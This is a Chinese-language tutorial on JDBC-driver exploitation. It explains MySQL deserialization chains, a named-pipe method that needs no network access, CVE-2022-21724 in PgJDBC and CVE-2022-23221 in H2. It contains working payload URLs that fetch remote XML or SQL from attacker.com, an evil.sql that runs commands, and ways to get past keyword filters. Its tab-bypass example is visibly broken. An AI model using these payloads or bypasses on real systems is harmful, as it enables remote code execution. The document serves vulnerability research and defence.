JDBC反序列化漏洞:从原理到实战的多数据库RCE利用解析
一、 JDBC反序列化认识
1.1 漏洞背景与简介
JDBC(Java Database Connectivity)是Java为各类数据库提供的统一接口规范,应用程序通过JDBC调用接口与数据库进行交互。反序列化漏洞是Java安全领域的核心问题之一,与表达式注入、JNDI注入并称为“Java安全的三板斧”。当攻击者能够控制JDBC连接设置项时,通过构造恶意配置指向恶意服务器或特定参数,可触发ObjectInputStream.readObject()反序列化过程,若环境中存在可利用的Gadget链,则可能造成远程代码执行(RCE)。
1.2 基本连接与触发点
典型的JDBC连接代码如下:
public static void main(String[] args) throws Exception{
String DB_URL = "jdbc:mysql://127.0.0.1:3306/sectest?var=value";
Driver driver = new com.mysql.jdbc.Driver();
Connection conn = driver.connect(DB_URL, props); // 连接点
Statement stmt = conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,….);
}
漏洞产生的关键在于连接参数可控。MySQL JDBC驱动中以下几个参数与反序列化密切相关:
autoDeserialize:用于在反序列化时自动检测是否存在BLOB字段。detectCustomCollations:若为true,驱动在建立连接时会从服务器获取字符集/排序规则信息。queryInterceptors:允许在Query执行前后插入拦截器操作以影响结果。
1.3 MySQL JDBC反序列化链
通过控制上述参数,可以触发两条已知的反序列化利用链:
detectCustomCollations链:适用于MySQL 5.x版本。设置detectCustomCollations=true可触发特定逻辑进行反序列化。ServerStatusDiffInterceptor链:适用于MySQL 8.x版本(<= 8.0.20)。指定queryInterceptors参数为com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,利用该拦截器触发反序列化。
漏洞原理:攻击过程的核心在于ResultSetUtil.resultSetToMap()方法。该方法会检查autoDeserialize参数是否开启。若开启,则会对从MySQL服务器传来的data直接进行反序列化操作(ObjectInputStream.readObject())。因此,只要JDBC连接的URL可控,且目标环境ClassPath中存在合适的反序列化Gadget链(如Commons-Collections, Commons-Beanutils等),即可实现RCE。
利用条件:
- JDBC连接URL完全可控。
- MySQL驱动版本受影响(具体版本范围视利用链而定,
ServerStatusDiffInterceptor链影响至8.0.20)。 - 目标服务器的ClassPath中存在可利用的反序列化Gadget链。
实战验证:可使用工具(如Java-Chains)生成CCK2等Gadget链的Payload,构造恶意MySQL服务器或通过JDBC URL参数触发,成功执行命令(如弹出计算器)。
二、 Mysql JDBC反序列化不出网怎么打
传统的MySQL JDBC反序列化利用依赖于攻击者搭建的恶意MySQL服务器(mysql_fakeServer)返回恶意序列化数据。在目标不出网的情况下,此方法失效。
2.1 核心思路:替换通信通道
出网利用的核心是TCP/IP的Socket通信。不出网利用的核心思路是:寻找JDBC驱动中支持替代TCP/IP的通信方式,并将恶意数据包通过此方式传递给驱动进行解析。
MySQL驱动提供了SocketFactory接口用于定义如何创建与数据库服务器的底层连接。默认实现为StandardSocketFactory。其另一个实现NamedPipeSocketFactory支持使用命名管道(Named Pipe) 作为IO通信通道。
- Windows命名管道:
\\.\pipe\MySQL - Linux命名管道:使用
mkfifo命令创建,如/tmp/MySQL
NamedPipeSocketFactory的connect方法支持通过namedPipePath配置项指定管道路径。该配置可通过JDBC URL参数设置。
2.2 利用原理
- 攻击者将恶意序列化数据包写入服务器上的一个文件(如
/tmp/malicious_packet)。 - 通过可控的JDBC URL,指定
socketFactory为NamedPipeSocketFactory,并设置namedPipePath(或相关参数)指向该恶意文件路径。- 示例URL:
jdbc:mysql://127.0.0.1:3306/test?socketFactory=com.mysql.jdbc.NamedPipeSocketFactory&namedPipePath=/tmp/malicious_packet
- 示例URL:
- 驱动在建立连接时,会使用
NamedPipeSocketFactory读取namedPipePath指定的文件,并将其内容作为与“服务器”交互的IO流。 - 驱动解析该文件流,触发反序列化漏洞,实现不出网RCE。
2.3 利用条件与挑战
- 条件1:JDBC URL完全可控,可设置
socketFactory和管道路径参数。 - 条件2:能将恶意数据包上传到目标服务器已知的绝对路径下。
- 条件3:目标系统支持命名管道(通常均支持)。
- 挑战:对执行查询数据包大小的限制不能太小。原始利用中可能因数据包过大导致失败。
2.4 拓展利用思路
- 文件上传点:利用后台或其他文件上传功能上传恶意数据包。
- Spring Web缓存:利用Spring框架的文件上传缓存机制,将恶意数据包作为临时文件写入目标服务器,并预测其路径。
- 数据包构造:通过Wireshark抓取正常流量包,将Payload嵌入并伪装成图片等格式上传以规避大小检查。
总结:不出网利用手法苛刻但可行,核心在于文件IO替代网络IO。
三、 PgJDBC 反序列化漏洞 (CVE-2022-21724)
PostgreSQL的JDBC驱动(PgJDBC)在2022年被曝出反序列化漏洞CVE-2022-21724。
3.1 漏洞概述
- 影响版本:
9.4.1208 <= PgJDBC <= 42.2.25和42.3.0 <= PgJDBC <= 42.3.2。 - 漏洞原因:PgJDBC驱动在建立连接时,允许通过URL参数控制用于创建Socket的工厂类(
socketFactory)及其构造函数参数(socketFactoryArg)。攻击者可利用此机制实例化任意类并执行其构造函数中的代码。
3.2 利用原理
PgJDBC连接字符串格式:
jdbc:postgresql://host:port/database?param1=value1¶m2=value2
利用Payload构造:
jdbc:postgresql://node/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1/poc.xml
socketFactory:指定要实例化的工厂类。此处利用Spring框架的ClassPathXmlApplicationContext。socketFactoryArg:作为指定工厂类构造函数的参数。此处指定一个远程XML配置文件URL。
3.3 关键类:ClassPathXmlApplicationContext
ClassPathXmlApplicationContext是Spring框架中用于加载应用上下文配置的类。它可以从类路径、HTTP、文件系统等多种协议位置读取XML配置文件,并根据配置创建和管理Spring Bean。
恶意XML示例 (poc.xml):
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="evil" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>
该XML定义了一个Bean,其类型为java.lang.ProcessBuilder,并在初始化(init-method)时调用start()方法,从而执行命令calc.exe。
3.4 漏洞触发流程
- PgJDBC驱动解析连接URL。
- 获取到
socketFactory=ClassPathXmlApplicationContext和socketFactoryArg=http://attacker.com/poc.xml。 - 在
org.postgresql.core.v3.ConnectionFactoryImpl#openConnectionImpl中,驱动尝试实例化socketFactory指定的类。 - 实例化
ClassPathXmlApplicationContext,并将socketFactoryArg作为参数传递给其构造函数。 ClassPathXmlApplicationContext初始化,从远程URL (http://attacker.com/poc.xml) 加载XML配置文件。- 解析XML,创建
ProcessBuilderBean并执行init-method指定的start()方法,导致RCE。
备注:同样可以利用FileSystemXmlApplicationContext加载本地XML文件实现不出网利用。
四、 H2 Database如何RCE?(JDK环境)
H2 Database是一个纯Java编写的内存数据库,常用于小型应用和测试。
4.1 H2 Database未授权访问
H2自带一个Web控制台(通常位于/h2-console)。若配置不当(如未设置密码或仅校验回环地址),可能导致未授权访问。结合SSRF漏洞可绕过回环地址限制。
校验逻辑位于org.h2.server.web.WebServlet#allow。
4.2 H2 Database 未授权打JNDI
早期H2版本(< 2.0.206)的org.h2.util.JdbcUtils#getConnection方法存在缺陷,未对传入参数做充分限制,可通过指定var0为java.naming.Context(即JNDI)来触发JNDI注入,进而利用LDAP协议加载远程恶意类实现RCE。
4.3 H2 Database未授权SQL绕过RCE (CVE-2022-23221)
H2支持在JDBC连接字符串的INIT参数中指定数据库初始化时执行的SQL语句。这是H2 RCE最常见的方式。
基础利用Payload:
jdbc:h2:mem:testdb;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'
evil.sql内容:
CREATE ALIAS EXEC AS 'String exec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) { return s.next(); } throw new IOException(); }';
CALL EXEC('calc.exe');
此SQL脚本创建了一个名为EXEC的函数别名,其实现调用了Runtime.getRuntime().exec()。
补丁与绕过:
- 补丁:H2在1.4.198后增加了
FORBID_CREATION=TRUE属性,默认ifExists=true时会自动添加,禁止创建新数据库。 - 绕过:通过对分号进行转义来绕过补丁。Payload如下:
jdbc:h2:mem:testdb\;TRACE_LEVEL_SYSTEM_OUT=3\;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'
4.4 H2 JDBC连接处URL可控的打法
与INIT参数利用相同,只要可控的URL能指定INIT=RUNSCRIPT或INIT=CREATE ALIAS ...,即可执行任意Java代码。可利用工具(如Java-Chains)生成字节码加载的Payload写入SQL文件进行利用。
4.5 H2 Database如何RCE?(仅存在JRE)
- 问题:如果目标环境只有JRE没有JDK(即无
javac命令),执行包含Java源代码的INIT脚本会失败。 - JDK < 15 解法:可利用Java内置的JS引擎执行JavaScript代码。
- JDK >= 15 解法(无JS引擎):
- 利用Spring环境:使用
CREATE ALIAS调用Spring的ReflectUtils等工具,反射调用ClassPathXmlApplicationContext的构造函数来加载远程恶意XML(同PgJDBC利用)。 - 非Spring环境:结合CB链与
commons-io等库,通过CREATE ALIAS调用相关方法实现文件写入等操作,再加载写入的类或脚本。
- 利用Spring环境:使用
五、 一些Bypass的手法
5.1 绕过空格限制
若应用过滤空格,可使用Tab符(\t)进行绕过:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
可改写为:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
5.2 绕过TRUE限制
- 使用大小写变形:
True,TRUE。 - 使用同义词:
yes。 - 进行URL编码:
t%72ue(对部分字符编码)。
5.3 绕过INIT参数限制
H2会自动将参数名转换为大写。可利用特殊字符进行混淆:
- “ı” (U+0131, Latin Small Letter Dotless I) 大写后变为 “I”。
- “ſ” (U+017F, Latin Small Letter Long S) 大写后变为 “S”。
因此,INIT可写为ıNıT或ſNIT,以此绕过对INIT关键词的简单过滤。
5.4 绕过autoDeserialize=false限制
如果驱动强制设置了autoDeserialize=false,可通过注释符/**/将参数分割绕过:
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=/ ** /true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
免责声明:本文档仅用于安全研究与教学目的,旨在帮助安全人员理解漏洞原理并提升防护能力。请勿将其用于任何非法用途。